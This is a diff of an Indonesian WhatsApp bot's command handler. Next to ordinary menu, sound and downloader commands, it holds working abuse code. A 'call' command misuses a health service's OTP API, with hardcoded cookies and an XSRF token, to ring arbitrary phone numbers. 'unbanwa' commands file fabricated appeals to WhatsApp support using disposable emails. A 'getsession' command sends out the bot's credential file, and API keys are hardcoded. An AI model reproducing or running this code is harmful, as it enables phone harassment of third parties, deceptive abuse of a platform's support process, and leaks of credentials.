menpes.b].includes(m.sender)) +if (!roof) return reply("Belum ada sesi menfess") +let room = Object.values(this.menfes).find(room => [room.a, room.b].includes(m.sender) && room.state === 'WAITING') +let other = [room.a, room.b].find(user => user !== m.sender) +find = Object.values(this.menfes).find(menpes => menpes.state == 'WAITING') +XeonBotInc.sendMessage(other, {text: `_Uppsss... @${m.sender.split("@")[0]} Menolak menfess kamu_`, mentions: [m.sender]}) +// await XeonBotInc.sendMessage(find.a, {text: `_Uppsss... @${find.b.split("@")[0]} Menolak menfess kamu_`,mentions: [find.b]}) +reply("Menfess berhasil di tolak ๐Ÿคš") +delete this.menfes[roof.id] +} +break + case "stopconfess": case 'stopmenfess': { + //find = Object.values(this.menfes).find(menpes => menpes.state == 'WAITING') +find = Object.values(this.menfes).find(menpes => [menpes.a, menpes.b].includes(m.sender)) +if (!find) return reply("Belum ada sesi menfess") +const to = find.a == m.sender ? find.b : find.a +XeonBotInc.sendMessage(to, {text: `_Teman chat telah menghentikan menfess ini_`, mentions:[m.sender]}) +await reply("ok") +delete this.menfes[find.id] +} + break + +case 'groupmenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Group Menu') +const dzsyagf = await fs.readFileSync(`./media/thumb4.mp4`) +let text = `Hallo @${sender.split("@")[0]}\n\n${groupmenu(prefix, hituet)}` +XeonBotInc.sendMessage(m.chat,{ caption: text, video: dzsyagf, gifPlayback:true },{quoted:m}) +} +break + + +case 'call': +if (!XeonTheCreator) return XeonStickOwner() +if (!args[0]) return replygcxeon(`Penggunaan ${command} nomor\nContoh ${command} +${6281316643491}`) +let nosend = "+" + q.split("|")[0].replace(/[^0-9]/g, '') +if (args[0].startsWith(`+${6281316643491}`)) return replygcxeon('Tidak bisa call ke nomor ini!') +axios.post('https://magneto.api.halodoc.com/api/v1/users/authentication/otp/requests',{'phone_number':`${nosend}`,'channel': 'voice'},{headers: {'authority': 'magneto.api.halodoc.com','accept-language': 'id,en;q=0.9,en-GB;q=0.8,en-US;q=0.7','cookie': '_gcl_au=1.1.1860823839.1661903409; _ga=GA1.2.508329863.1661903409; afUserId=52293775-f4c9-4ce2-9002-5137c5a1ed24-p; XSRF-TOKEN=12D59ACD8AA0B88A7ACE05BB574FAF8955D23DBA28E8EE54F30BCB106413A89C1752BA30DC063940ED30A599C055CC810636; _gid=GA1.2.798137486.1664887110; ab.storage.deviceId.1cc23a4b-a089-4f67-acbf-d4683ecd0ae7=%7B%22g%22%3A%2218bb4559-2170-9c14-ddcd-2dc80d13c3e3%22%2C%22c%22%3A1656491802961%2C%22l%22%3A1664887110254%7D; amp_394863=nZm2vDUbDAvSia6NQPaGum...1gehg2efd.1gehg3c19.f.0.f; ab.storage.sessionId.1cc23a4b-a089-4f67-acbf-d4683ecd0ae7=%7B%22g%22%3A%22f1b09ad8-a7d9-16f3-eb99-a97ba52677d2%22%2C%22e%22%3A1664888940400%2C%22c%22%3A1664887110252%2C%22l%22%3A1664887140400%7D','origin': 'https://www.halodoc.com','sec-ch-ua': '"Microsoft Edge";v="105", "Not)A;Brand";v="8", "Chromium";v="105"','sec-ch-ua-mobile': '?0','sec-ch-ua-platform': '"Windows"','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-site','user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.53','x-xsrf-token': '12D59ACD8AA0B88A7ACE05BB574FAF8955D23DBA28E8EE54F30BCB106413A89C1752BA30DC063940ED30A599C055CC810636'}}).then(function (response) {replygcxeon(`${JSON.stringify(response.data, null, 2)}`)}).catch(function (error) {replygcxeon(`${JSON.stringify(error, null, 2)}`)}) +break + +case 'funmenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Fun Menu') +const dzsyagf = await fs.readFileSync(`./media/thumb5.mp4`) +let text = `Hallo @${sender.split("@")[0]}\n\n${funmenu(prefix, hituet)}` +XeonBotInc.sendMessage(m.chat,{ caption: text, video: dzsyagf, gifPlayback:true },{quoted:m}) +} +break +case 'stalkermenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Stalker Menu') +const dzsyagf = await fs.readFileSync(`./media/thumb2.mp4`) +let text = `Hallo @${sender.split("@")[0]}\n\n${stalkermenu(prefix, hituet)}` +XeonBotInc.sendMessage(m.chat,{ caption: text, video: dzsyagf, gifPlayback:true },{quoted:m}) +} +break +case 'randomphotomenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Pic Menu') +const dzsyagf = await fs.readFileSync(`./media/thumb1.mp4`) +let text = `Hallo @${sender.split("@")[0]}\n\n${randomphotomenu(prefix, hituet)}` +XeonBotInc.sendMessage(m.chat,{ caption: text, video: dzsyagf, gifPlayback:true },{quoted:m}) +} +break +case 'randomvideomenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Random Vid Menu') +sendXeonBotIncMessage(from, { +text: `Hallo @${sender.split("@")[0]}\n\n${randvideomenu(prefix)}`, +mentions:[sender], +contextInfo:{ +mentionedJid:[sender], +"externalAdReply": { +"showAdAttribution": true, +"renderLargerThumbnail": true, +"title": botname, +"containsAutoReply": true, +"mediaType": 1, +"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"mediaUrl": `${wagc}`, +"sourceUrl": `${wagc}` +} +} +}) +} +break +case 'textpromenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Textpro Menu') +sendXeonBotIncMessage(from, { +text: `Hallo @${sender.split("@")[0]}\n\n${textpromenu(prefix)}`, +mentions:[sender], +contextInfo:{ +mentionedJid:[sender], +"externalAdReply": { +"showAdAttribution": true, +"renderLargerThumbnail": true, +"title": botname, +"containsAutoReply": true, +"mediaType": 1, +"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"mediaUrl": `${wagc}`, +"sourceUrl": `${wagc}` +} +} +}) +} +break +case 'photooxymenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Photooxy Menu') +sendXeonBotIncMessage(from, { +text: `Hallo @${sender.split("@")[0]}\n\n${photooxymenu(prefix)}`, +mentions:[sender], +contextInfo:{ +mentionedJid:[sender], +"externalAdReply": { +"showAdAttribution": true, +"renderLargerThumbnail": true, +"title": botname, +"containsAutoReply": true, +"mediaType": 1, +"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"mediaUrl": `${wagc}`, +"sourceUrl": `${wagc}` +} +} +}) +} +break +case 'ephoto360menu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Photo360 Menu') +sendXeonBotIncMessage(from, { +text: `Hallo @${sender.split("@")[0]}\n\n${ephoto360menu(prefix)}`, +mentions:[sender], +contextInfo:{ +mentionedJid:[sender], +"externalAdReply": { +"showAdAttribution": true, +"renderLargerThumbnail": true, +"title": botname, +"containsAutoReply": true, +"mediaType": 1, +"thumbnail": fs.readFileSync("./XeonMedia/theme/cheemspic.jpg"), +"mediaUrl": `${wagc}`, +"sourceUrl": `${wagc}` +} +} +}) +} +break +case 'nsfwmenu': { + reply(mess.wait) +var unicorn = await getBuffer(picak+'Anime NSFW Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${nsfwmenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${nsfwmenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1831,9 +2833,10 @@ mentionedJid:[sender], } break case 'animemenu': { + reply(mess.wait) var unicorn = await getBuffer(picak+'Anime Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${animemenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${animemenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1852,9 +2855,10 @@ mentionedJid:[sender], } break case 'stickermenu': { + reply(mess.wait) var unicorn = await getBuffer(picak+'Sticker Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${stickermenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${stickermenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1873,9 +2877,10 @@ mentionedJid:[sender], } break case 'databasemenu': { + reply(mess.wait) var unicorn = await getBuffer(picak+'Database Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${databasemenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${databasemenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1894,9 +2899,10 @@ mentionedJid:[sender], } break case 'aimenu': { + reply(mess.wait) var unicorn = await getBuffer(picak+'OpenAI Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${aimenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${aimenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -1915,9 +2921,10 @@ mentionedJid:[sender], } break case 'bugmenu': { + reply(mess.wait) var unicorn = await getBuffer(picak+'Bug Menu') sendXeonBotIncMessage(from, { -text: `Hi @${sender.split("@")[0]}\n\n${bugmenu(prefix)}`, +text: `Hallo @${sender.split("@")[0]}\n\n${bugmenu(prefix)}`, mentions:[sender], contextInfo:{ mentionedJid:[sender], @@ -2096,15 +3103,96 @@ case 'sound158': case 'sound159': case 'sound160': case 'sound161': -XeonBotInc_dev = await getBuffer(`https://github.com/DGXeon/Tiktokmusic-API/raw/master/tiktokmusic/${command}.mp3`) -await XeonBotInc.sendMessage(m.chat, { audio: XeonBotInc_dev, mimetype: 'audio/mp4', ptt: true }, { quoted: m }) +case 'mangkane1': +case 'mangkane2': +case 'mangkane3': +case 'mangkane4': +case 'mangkane5': +case 'mangkane6': +case 'mangkane7': +case 'mangkane8': +case 'mangkane9': +case 'mangkane10': +case 'mangkane11': +case 'mangkane12': +case 'mangkane13': +case 'mangkane14': +case 'mangkane15': +case 'mangkane16': +case 'mangkane17': +case 'mangkane18': +case 'mangkane19': +case 'mangkane20': +case 'mangkane21': +case 'mangkane22': +case 'mangkane23': +case 'mangkane24': +case 'mangkane25': +case 'mangkane26': +case 'mangkane27': +case 'mangkane28': +case 'mangkane29': +case 'mangkane30': +case 'mangkane31': +case 'mangkane32': +case 'mangkane33': +case 'mangkane34': +case 'mangkane35': +case 'mangkane36': +case 'mangkane37': +case 'mangkane38': +case 'mangkane39': +case 'mangkane40': +case 'mangkane41': +case 'mangkane42': +case 'mangkane43': +case 'mangkane44': +case 'mangkane45': +case 'mangkane46': +case 'mangkane47': +case 'mangkane48': +case 'mangkane49': +case 'mangkane50': +case 'mangkane51': +case 'mangkane52': +case 'mangkane53': +case 'mangkane54': +case 'acumalaka': +case 'reza-kecap': +case 'farhan-kebab': +case 'omaga': +case 'kamu-nanya': +case 'anjay': +case 'siuu': +viot = 'https://telegra.ph/file/48b67f699cfa231e4d5c2.jpg' +thumb = 'https://telegra.ph/file/48b67f699cfa231e4d5c2.jpg' +let sound +if (/sound/.test(command)) sound = `https://github.com/DGXeon/Tiktokmusic-API/raw/master/tiktokmusic/${command}.mp3` +if (/mangkane/.test(command) && command.replace('mangkane', '') < 25) sound = `https://raw.githubusercontent.com/hyuura/Rest-Sound/main/HyuuraKane/${command}.mp3` +if (/mangkane/.test(command) && command.replace('mangkane', '') > 24) sound = `https://raw.githubusercontent.com/aisyah-rest/mangkane/main/Mangkanenya/${command}.mp3` +if (/acumalaka|reza-kecap|farhan-kebab|omaga|omaga|kamu-nanya|anjay|siuu/.test(command)) sound = `https://github.com/FahriAdison/Base-Sound/raw/main/audio/${command}.mp3` +if (text.toLowerCase() === 'thumb') { +await XeonBotInc.sendMessage(m.chat, {audio: {url: sound}, mimetype: 'audio/mpeg', ptt: false, +contextInfo:ย { +externalAdReply:ย { +mediaUrl: 'https://instagram.com/Cyaa_ches1', +mediaType: 2, +title: ' โ‡†ใ…ค ||โ—ใ…คโšโšใ…คโ–ท||ใ…ค โ†ป ', +body: ' โ”โ”โ”โ”โฌคโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ', +description: 'Now Playing...', +mediaType: 2, +sourceUrl: 'https://instagram.com/Cyaa_ches1', +thumbnail: awaitย (awaitย fetch(viot)).buffer(), +renderLargerThumbnail: true}}}, {quoted: m}) +} else await XeonBotInc.sendMessage(m.chat, {audio: {url: sound}, mimetype: 'audio/mpeg', ptt: false}, {quoted: m}) break + //GAME tebak kata Function + case 'friend': case 'searchfriend':{ - +reply(mess.wait) let teman = pickRandom(xeonverifieduser) setTimeout(() => { -XeonStickWait() }, 1000) setTimeout(() => { replygcxeon('Managed to Get One Person') @@ -2114,31 +3202,28 @@ XeonBotInc.sendMessage(from, {text: `Here @${teman.split("@")[0]}`, mentions: [t }, 9000) } break -case 'sc': case 'script': case 'donate': case 'donate': case 'cekupdate': case 'updatebot': case 'cekbot': case 'sourcecode': { -me = m.sender -teks = `*ใ€Œ ${global.botname} Script ใ€*\n\nYouTube: ${global.websitex}\nGitHub: ${global.botscript}\n\nHi @${me.split('@')[0]} ๐Ÿ‘‹\nDont forget to donate yeah๐Ÿœ ๐Ÿ‘‡ https://i.ibb.co/w46VQ8D/Picsart-22-10-08-06-46-30-674.jpg` -sendXeonBotIncMessage(from, { -text: teks, -mentions:[sender], -contextInfo:{ -forwardingScore: 9999999, -isForwarded: true, -mentionedJid:[sender], -"externalAdReply": { -"showAdAttribution": true, -"renderLargerThumbnail": true, -"title": botname, -"containsAutoReply": true, -"mediaType": 1, -"thumbnail": defaultpp, -"mediaUrl": `${wagc}`, -"sourceUrl": `${wagc}` -} +case 'sc': +case 'donate': +case 'script': +case 'donasi': { +replygcxeon('Halo! Terimakasih telah menggunakan bot ini. Jika Anda ingin membantu pengembangan bot ini, maka Anda dapat melakukan donasi melalui halaman berikut:\nhttps://saweria.co/Danzzbotwa \n Terimakasih atas dukungan Anda!') } +break +case 'getsession': +if (!XeonTheCreator) return XeonStickOwner() +replygcxeon('Wait a moment, currently retrieving your session file') +let sesi = await fs.readFileSync('./session/creds.json') +XeonBotInc.sendMessage(m.chat, { +document: sesi, +mimetype: 'application/json', +fileName: 'creds.json' +}, { +quoted: m }) -} break + case 'request': case 'reportbug': { + reply(mess.wait) if (!text) return replygcxeon(`Example : ${ prefix + command } hi dev play command is not working`) @@ -2148,18 +3233,18 @@ case 'request': case 'reportbug': { }\n*Request/Bug* : ${text}` teks2 = `\n\n*Hii ${pushname},You request has been forwarded to my Owners*.\n*Please wait...*` for (let i of owner) { - XeonBotInc.sendMessage(i + "@s.whatsapp.net", { - text: textt + teks1, - mentions: [m.sender], - }, { - quoted: m, - }) +XeonBotInc.sendMessage(i + "@s.whatsapp.net", { +text: textt + teks1, +mentions: [m.sender], +}, { +quoted: m, +}) } XeonBotInc.sendMessage(m.chat, { - text: textt + teks2 + teks1, - mentions: [m.sender], +text: textt + teks2 + teks1, +mentions: [m.sender], }, { - quoted: m, +quoted: m, }) } @@ -2172,9 +3257,9 @@ await xeonquotx.quoted.copyNForward(m.chat, true) } break case 'igstalk2':{ - +reply(mess.wait) if (!q) return replygcxeon(`Example ${prefix+command} unicorn_xeon`) -XeonStickWait() +reply(mess.wait) const aj = await igstalk(`${q}`) XeonBotInc.sendMessage(m.chat, { image: { url : aj.profile }, caption: `*/ Instagram Stalker \\* @@ -2188,9 +3273,9 @@ Bio : ${aj.bio}` }, { quoted: m } ) } break case 'ffstalk':{ - +reply(mess.wait) if (!q) return replygcxeon(`Example ${prefix+command} 946716486`) -XeonStickWait() +reply(mess.wait) eeh = await ffstalk.ffstalk(`${q}`) replygcxeon(`*/ Free Fire Stalker \\* @@ -2199,9 +3284,9 @@ Nickname : ${eeh.nickname}`) } break case 'mlstalk': { - +reply(mess.wait) if (!q) return replygcxeon(`Example ${prefix+command} 530793138|8129`) -XeonStickWait() +reply(mess.wait) let dat = await mlstalk.mlstalk(q.split("|")[0], q.split("|")[1]) replygcxeon(`*/ Mobile Legend Stalker \\* @@ -2211,8 +3296,9 @@ ID Zone: ${q.split("|")[1]}`) } break case 'npmstalk':{ + reply(mess.wait) if (!q) return replygcxeon(`Example ${prefix+command} xeonapi`) -XeonStickWait() +reply(mess.wait) eha = await npmstalk.npmstalk(q) replygcxeon(`*/ Npm Stalker \\* @@ -2226,9 +3312,65 @@ Publish Time : ${eha.publishTime} Latest Publish Time : ${eha.latestPublishTime}`) } break +//=========================================\\ + +//=========================================\\ +case 'tiktok': +case 'tt': { + if (!text) return replygcxeon(`Contoh: ${prefix + command} link`); + reply(mess.wait); + try { + const data = await fetchJson(`https://skizo.tech/api/tiktok?url=${encodeURIComponent(text)}&apikey=dzsyabotz`); + const videoUrl = data.data.play; + const authorNickname = data.data.author ? data.data.author.nickname : "Author None"; + const videoTitle = data.data ? data.data.title : "Judul Video Tidak Tersedia"; + const videoDuration = data.data ? data.data.duration : "Durasi Video Tidak Tersedia"; + const videoCaption = `*Author* : ${authorNickname}\n*judul* : ${videoTitle}\n*Durasi* : ${videoDuration}` || "videonya kak"; + + XeonBotInc.sendMessage(m.chat, { caption: videoCaption, video: { url: videoUrl } }, { quoted: m }); + } catch (e) { + reply(`Maap sedang error silakan coba lagi`) + } +} +break; +//============================================== +case 'instagram': +case 'igdl': +case 'ig': { + if (!text) return replygcxeon(`Contoh: ${prefix + command} link`); + reply(mess.wait); + let data = await fetchJson(`https://kiicodeofficial.my.id/api/downloader/instagram?url=${encodeURIComponent(text)}&apikey=Dzsyacans`); + const videoUrl = data.data.url; + const videoCaption = "Video Instagram Nya"; + XeonBotInc.sendMessage(m.chat, { caption: 'ini dia video Instagram nya', video: { url: videoUrl } }, { quoted: m }); + +} +break; + +case 'snackvideo': { + if (!text) return reply(mess.query.link) + reply(mess.query.link) +const data = fetchJson(`https://api.lolhuman.xyz/api/snackvideo?apikey=haikalgans&url=${encodeURIComponent(text)}`) +const vidnya = data.result.url; +const cption = data.result.caption|| "nih kak" +XeonBotInc.sendMessage(m.chat, { caption: cption, video: { url: vidnya } }, { quoted: m }); +} +break + +case 'tiktokaudio':{ +if (!text) return replygcxeon( `Example : ${prefix + command} link`) +reply(mess.wait); +if (!q.includes('tiktok')) return replygcxeon(`Link Invalid!!`) +require('./lib/tiktok').Tiktok(q).then( data => { +XeonBotInc.sendMessage(m.chat, { audio: { url: data.audio }, mimetype: 'audio/mp4' }, { quoted: m }) +}) +} +break + case 'ghstalk': case 'githubstalk':{ +reply(mess.wait) if (!q) return replygcxeon(`Example ${prefix+command} DGXeon`) -XeonStickWait() +reply(mess.wait) aj = await githubstalk.githubstalk(`${q}`) XeonBotInc.sendMessage(m.chat, { image: { url : aj.profile_pic }, caption: `*/ Github Stalker \\* @@ -2254,1012 +3396,10949 @@ Created At : ${aj.ceated_at} Updated At : ${aj.updated_at}` }, { quoted: m } ) } break -case 'ss': case 'ssweb': { -if (!q) return replygcxeon(`Example ${prefix+command} link`) -XeonStickWait() -let krt = await scp1.ssweb(q) -XeonBotInc.sendMessage(from,{image:krt.result,caption:mess.succes}, {quoted:m}) -} -break -case 'join': { + +case 'unbanwa': { if (!XeonTheCreator) return XeonStickOwner() -if (!text) return replygcxeon(`Contoh ${prefix+command} linkgc`) -if (!isUrl(args[0]) && !args[0].includes('whatsapp.com')) return replygcxeon('Link Invalid!') -let result = args[0].split('https://chat.whatsapp.com/')[1] -await XeonBotInc.groupAcceptInvite(result) -await replygcxeon(`Done`) -} -break -case 'poll': { - if (!XeonTheCreator) return XeonStickOwner() - let [poll, opt] = text.split("|") - if (text.split("|") < 2) - return await replygcxeon( - `Mention question and atleast 2 options\nExample: ${prefix}poll Who is best admin?|Xeon,Cheems,Doge...` - ) - let options = [] - for (let i of opt.split(',')) { - options.push(i) - } - await XeonBotInc.sendMessage(m.chat, { - poll: { - name: poll, - values: options - } - }) - } - break - case 'vote': { - if (!m.isGroup) return XeonStickGroup() - if (m.chat in vote) return replygcxeon(`_There are still votes in this chat!_\n\n*${prefix}deletevote* - to delete votes`) - if (!text) return replygcxeon(`Enter Reason for Vote, Example: *${prefix + command} Handsome Owner*`) - replygcxeon(`Voting starts!\n\n*${prefix}upvote* - for upvote\n*${prefix}downvote* - for downvote\n*${prefix}checkvote* - to check the vote\n*${prefix}deletevote* - to delete vote`) - vote[m.chat] = [q, [], []] - await sleep(1000) - upvote = vote[m.chat][1] - devote = vote[m.chat][2] - teks_vote = `* VOTE * +if (m.quoted || q) { +var tosend = m.quoted ? m.quoted.sender : q.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +if (tosend === global.owner) return reply(`Tidak bisa verif My Creator!`) +var targetnya = tosend.split('@')[0] -*Reason:* ${vote[m.chat][0]} +try { +var axioss = require('axios') +let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/") +let email = await axioss.get("https://www.1secmail.com/api/v1/?action=genRandomMailbox&count=199999999999999999995777678776668876677777") +let cookie = ntah.headers["set-cookie"].join("; ") +const cheerio = require('cheerio'); +let $ = cheerio.load(ntah.data) +let $form = $("form"); +let url = new URL($form.attr("action"), "https://www.whatsapp.com").href +let form = new URLSearchParams() +form.append("jazoest", $form.find("input[name=jazoest]").val()) +form.append("lsd", $form.find("input[name=lsd]").val()) +form.append("step", "submit") +form.append("country_selector", "+") +form.append("phone_number", `+${targetnya}`,) +form.append("email", email.data[0]) +form.append("email_confirm", email.data[0]) +form.append("platform", "ANDROID") +form.append("your_message", `Kepada: Pengembang WhatsApp -โ”Œใ€” UPVOTE ใ€• -โ”‚ -โ”œ Total: ${vote[m.chat][1].length} -โ”‚ -โ”‚ -โ””โ”€โ”€โ”€โ”€ +Saya seorang musisi yang cukup terkenal, saya memiliki jadwal pertunjukan yang sangat sibuk bulan ini. Namun WhatsApp saya telah Anda blokir secara permanen, di WhatsApp saya ada data penting untuk kinerja saya besok. Jadi tolong buka blokir nomor saya sekarang ${targetnya} kalau tidak saya akan dikeluhkan dan dihujat oleh fans saya`) +form.append("__user", "0") +form.append("__a", "1") +form.append("__csr", "") +form.append("__req", "8") +form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0") +form.append("dpr", "1") +form.append("__ccg", "UNKNOWN") +form.append("__rev", "1007735016") +form.append("__comment_req", "0") -โ”Œใ€” DOWNVOTE ใ€• -โ”‚ -โ”œ Total: ${vote[m.chat][2].length} -โ”‚ -โ”‚ -โ””โ”€โ”€โ”€โ”€ +let res = await axioss({ +url, +method: "POST", +data: form, +headers: { +cookie +} -Please Type Below -*${prefix}upvote* - to cast vote -*${prefix}downvote* - to downvote -*${prefix}deletevote* - to delete vote` - XeonBotInc.sendMessage(m.chat, {text: teks_vote}, {quoted:m}) - } - break - case 'upvote': { - if (!m.isGroup) return XeonStickGroup() - if (!(m.chat in vote)) return replygcxeon(`_*no voting in this group!*_\n\n*${prefix}vote* - to start voting`) - isVote = vote[m.chat][1].concat(vote[m.chat][2]) - wasVote = isVote.includes(m.sender) - if (wasVote) return replygcxeon('You have Voted') - vote[m.chat][1].push(m.sender) - menvote = vote[m.chat][1].concat(vote[m.chat][2]) - teks_vote = `* VOTE * +}) +replygcxeon(`Tunggu 1-24 Jam an untuk proses unbanned dari bot dan tunggu ยฑ30 Detik an untuk melihat balasan email dari WhatsApp tuan Hw Mods๐Ÿฅบ๐Ÿ™`) +let payload = String(res.data) +if (payload.includes(`"payload":true`)) { +replygcxeon(`##- WhatsApp Support -## -*Reason:* ${vote[m.chat][0]} +Halo, -โ”Œใ€” UPVOTE ใ€• -โ”‚ -โ”œ Total: ${vote[m.chat][1].length} -${vote[m.chat][1].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} -โ”‚ -โ””โ”€โ”€โ”€โ”€ - -โ”Œใ€” DOWNVOTE ใ€• -โ”‚ -โ”œ Total: ${vote[m.chat][2].length} -${vote[m.chat][2].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} -โ”‚ -โ””โ”€โ”€โ”€โ”€ +Terima kasih telah menghubungi kami. -Please Type Below -*${prefix}upvote* - to upvote -*${prefix}downvote* - to downvote -*${prefix}deletevote* - to delete vote` - XeonBotInc.sendMessage(m.chat, {text: teks_vote, mentions: menvote}, {quoted:m}) - } - break - case 'downvote': { - if (!m.isGroup) return XeonStickGroup() - if (!(m.chat in vote)) return replygcxeon(`_*no voting in this group!*_\n\n*${prefix}vote* - to start voting`) - isVote = vote[m.chat][1].concat(vote[m.chat][2]) - wasVote = isVote.includes(m.sender) - if (wasVote) return replygcxeon('You have Voted') - vote[m.chat][2].push(m.sender) - menvote = vote[m.chat][1].concat(vote[m.chat][2]) - teks_vote = `* VOTE * +Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh masalah ini. -*Reason:* ${vote[m.chat][0]} +Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang seharusnya Anda sudah memiliki akses ke WhatsApp. -โ”Œใ€” UPVOTE ใ€• -โ”‚ -โ”œ Total: ${vote[m.chat][1].length} -${vote[m.chat][1].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} -โ”‚ -โ””โ”€โ”€โ”€โ”€ +Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs web kami untuk -โ”Œใ€” DOWNVOTE ใ€• -โ”‚ -โ”œ Total: ${vote[m.chat][2].length} -${vote[m.chat][2].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} -โ”‚ -โ””โ”€โ”€โ”€โ”€ +mengunduh WhatsApp atau aplikasi WhatsApp Business.`) +} else if (payload.includes(`"payload":false`)) { +replygcxeon(`##- WhatsApp Support -## -Please Type Below -*${prefix}upvote* - to upvote -*${prefix}downvote* - to downvote -*${prefix}deletevote* - to delete vote` - XeonBotInc.sendMessage(m.chat, {text: teks_vote, mentions: menvote}, {quoted:m}) - } - break - -case 'checkvote': -if (!m.isGroup) return XeonStickGroup() -if (!(m.chat in vote)) return replygcxeon(`_*no voting in this group!*_\n\n*${prefix}vote* - to start voting`) -teks_vote = `* VOTE * +Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`) +} else replygcxeon(util.format(res.data)) +} catch (err) {replygcxeon(`${err}`)} +} else replygcxeon('Masukkan nomor target!') +} +break -*Reason:* ${vote[m.chat][0]} -โ”Œใ€” UPVOTE ใ€• -โ”‚ -โ”œ Total: ${upvote.length} -${vote[m.chat][1].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} -โ”‚ -โ””โ”€โ”€โ”€โ”€ -โ”Œใ€” DOWNVOTE ใ€• -โ”‚ -โ”œ Total: ${devote.length} -${vote[m.chat][2].map((v, i) => `โ”œ ${i + 1}. @${v.split`@`[0]}`).join('\n')} -โ”‚ -โ””โ”€โ”€โ”€โ”€ -*${prefix}deletevote* - to delete votes +case 'unbanwav2': { +if (!XeonTheCreator) return XeonStickOwner() +if (m.quoted || q) { +var tosend = m.quoted ? m.quoted.sender : q.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +if (tosend === global.owner) return replygcxeon(`Tidak bisa verif My Creator!`) +var targetnya = tosend.split('@')[0] +try { +var axioss = require('axios') +let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/") +let email = await axioss.get("https://www.1secmail.com/api/v1/?action=genRandomMailbox&count=199999999999999999995777678776668876677777") +let cookie = ntah.headers["set-cookie"].join("; ") +const cheerio = require('cheerio'); +let $ = cheerio.load(ntah.data) +let $form = $("form"); +let url = new URL($form.attr("action"), "https://www.whatsapp.com").href +let form = new URLSearchParams() +form.append("jazoest", $form.find("input[name=jazoest]").val()) +form.append("lsd", $form.find("input[name=lsd]").val()) +form.append("step", "submit") +form.append("country_selector", "+") +form.append("phone_number", `+${targetnya}`,) +form.append("email", email.data[0]) +form.append("email_confirm", email.data[0]) +form.append("platform", "ANDROID") +form.append("your_message", `Pihak WhatsApp yang terhormat mohon bantuan anda segera +[${targetnya}] +Saya telah mengirim beberapa email dan laporan ke pihak WhatsApp untuk mengajukan banding agar nomor saya cepat di buka dari daftar blokir, saya sangat membutuhkan untuk keperluan pribadi berkomunikasi dengan keluarga jika saya melakukan pelanggaran sebelumnya maka saya akan menggunakan nomor saya tersebut dengan lebih hati-hati dan lebih baik lagi dari sebelumnya dan saya sekarang telah menuruti apa yang pihak WhatsApp sarankan, dan saya sangat berharap sekarang juga nomor saya dapat di gunakan kembali. Terimakasih`) +form.append("__user", "0") +form.append("__a", "1") +form.append("__csr", "") +form.append("__req", "8") +form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0") +form.append("dpr", "1") +form.append("__ccg", "UNKNOWN") +form.append("__rev", "1007735016") +form.append("__comment_req", "0") -ยฉ${XeonBotInc.user.id} -` -XeonBotInc.sendTextWithMentions(m.chat, teks_vote, m) -break - case 'deletevote': case'delvote': case 'hapusvote': { - if (!m.isGroup) return XeonStickGroup() - if (!(m.chat in vote)) return replygcxeon(`_*no voting in this group!*_\n\n*${prefix}vote* - to start voting`) - delete vote[m.chat] - replygcxeon('Successfully Deleted Vote Session In This Group') - } - break -case 'toonce': case 'toviewonce': { -if (!quoted) return replygcxeon(`Reply Image/Video`) -XeonStickWait() -if (/image/.test(mime)) { -anuan = await XeonBotInc.downloadAndSaveMediaMessage(quoted) 